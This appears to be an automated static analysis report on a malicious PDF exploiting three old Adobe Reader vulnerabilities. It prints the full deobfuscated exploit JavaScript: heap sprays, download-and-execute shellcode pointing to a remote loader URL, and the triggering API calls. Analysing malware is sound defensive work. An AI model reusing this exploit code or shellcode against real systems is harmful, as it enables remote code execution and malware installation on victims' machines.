Malicious PDF — malware analysis report

Static analysis result for SHA-256 46831bd53c8392d1…

MALICIOUS

PDF

7.3 KB Created: 2009-01-35 62:12:26 Authoring application: Adobe First seen: 2026-05-11
MD5: c49e9adbbe47960e2835f1c49ddeeeac SHA-1: dfa96ed24bc1f55899497f316a1ac2a9b5cc581d SHA-256: 46831bd53c8392d10d76a3095fbb724ac2bea3bed94c13acd0c17b53c785125a
410 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.001 Command and Scripting Interpreter: JavaScript

The PDF file contains multiple critical heuristic firings indicating exploitation of CVE-2009-4324, CVE-2009-0927, and CVE-2007-5659. These vulnerabilities are leveraged through embedded and obfuscated JavaScript, which is then decoded and executed using eval() and unescape() functions. The primary attack pattern involves exploiting these PDF reader vulnerabilities to achieve arbitrary code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval('var bvb = ev'+ccc+'cape;va'+ccc2+'l;');
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kozzz.in/2/load.php?spl=pdf_new Referenced by PDF JavaScript
    • http://kozzz.in/2/load.php?spl=pdf_packReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 8

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0032_000.js pdf-javascript-stream PDF /JS object 32 at offset 0x420 132 bytes
SHA-256: 9c871dd4db33b58abb4fb63e641a49a1208d490aa4c900c5d42b8aa886ddbecf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var ccc = 'al;var z = unes';
var ccc2 = 'r TLflEfSkmnPY1PhSC = eva';

eval('var bvb = ev'+ccc+'cape;va'+ccc2+'l;');
javascript_obj0034_001.js pdf-javascript-stream PDF /JS object 34 at offset 0x4DE 133 bytes
SHA-256: 39c0d1760369a323a39c67f6a441effc734d0c19c0d014087c7e34cff4a9e3b2
Preview script
First 1,000 lines of the extracted script
var QSnfLosdAR67nYHW4 = '%';

var io1ESBgXHU7Z10tMp01 = this.info.Molok;
var io1ESBgXHU7Z10tMp02 = this.info.author;
javascript_obj0036_002.js pdf-javascript-stream PDF /JS object 36 at offset 0x105 148 bytes
SHA-256: a759fd0aa8454de9c93afd6435f74ebe99483a1250a52952bd5c09f9bd121c0b
Preview script
First 1,000 lines of the extracted script
var io1ESBgXHU7Z10tMp03 = this.info.title;
var io1ESBgXHU7Z10tMp = io1ESBgXHU7Z10tMp01  + io1ESBgXHU7Z10tMp02 + io1ESBgXHU7Z10tMp03;
javascript_obj0038_003.js pdf-javascript-stream PDF /JS object 38 at offset 0xC41 170 bytes
SHA-256: 58c3193ea03d6760a2c845ff91d0b23f768ec4bf7d321c7b862095d7ee979405
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var lkaa = 'io1ESBgXHU7Z10tMp.re' + 'place(/gjfj o30444444/g,QSnfLosdAR67nYHW4)';
var xxx = TLflEfSkmnPY1PhSC(lkaa);

var HaV8LHukqvAXOMtDN = z(unescape(xxx));
javascript_obj0078_004.js pdf-javascript-stream PDF /JS object 78 at offset 0x7C 43 bytes
SHA-256: df6c9f756fceee48ab77a8f5d31ea4a96477fe074a1be35f0aa86a025465e107
Preview script
First 1,000 lines of the extracted script
TLflEfSkmnPY1PhSC(HaV8LHukqvAXOMtDN);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x5D1 1622 bytes
SHA-256: b2e581467bf11f1cda7841f535399ca8cf5f18b4ea8a9b313116d79eb6dd6a58
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}  function printd(){var shellcode = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u7A6F%u7A7A%u692E%u2F6E%u2F32%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u6E5F%u7765");var block = unescape("%u0c0c%u0c0c");var GDagaCuyNfRSFzaSZLO = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u514e%u4865%u4844%u724f%u4a6e%u6d43%u4b51%u4b79%u7156%u4d41%u5944%u596b%u7979%u625a%u626f%u7a6e%u634e%u4a4d%u6341%u6253%u4154%u5670%u5543%u4273%u4c51%u576d%u5772%u5670");while(block.length <= 32768) block+=block;block=block.substring(0,32768 - shellcode.length);memory=new Array();for(i=0;i<0x2000;i++) {memory[i]= block + shellcode;}util.printd("rlpPpjTXXIncUhwagCzcuHfmkzObBSZDGNdC", new Date());util.printd("SotSxNQvMqKNjJkIXioKlmfZYfmiPGgGNNKn", new Date());try {this.media.newPlayer(null);} catch(e) {}util.printd(GDagaCuyNfRSFzaSZLO, new Date());}
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0xD76 1788 bytes
SHA-256: 8c3b226331a8a2d232a4cc72b974630e50e33b5f5de98e2fa80a3a31881fc4c2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u7A6F%u7A7A%u692E%u2F6E%u2F32%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u705F%u6361%u006B");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}  var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}  tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}  function PPPDDDFF(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}  if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}  if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}  printd();  }  PPPDDDFF();
legacy_pdfkit_stage_002.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x13DC 2914 bytes
SHA-256: 067232e5360e076dc3d6d89d14ad6e56bd2606d96e516099987b41ec6705bbdf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function util_printf(){var payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u7A6F%u7A7A%u692E%u2F6E%u2F32%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u705F%u6361%u006B");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");  var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}  var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}  var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}  var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}  function collab_email(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u7A6F%u7A7A%u692E%u2F6E%u2F32%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u705F%u6361%u006B");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}  var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}  this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}

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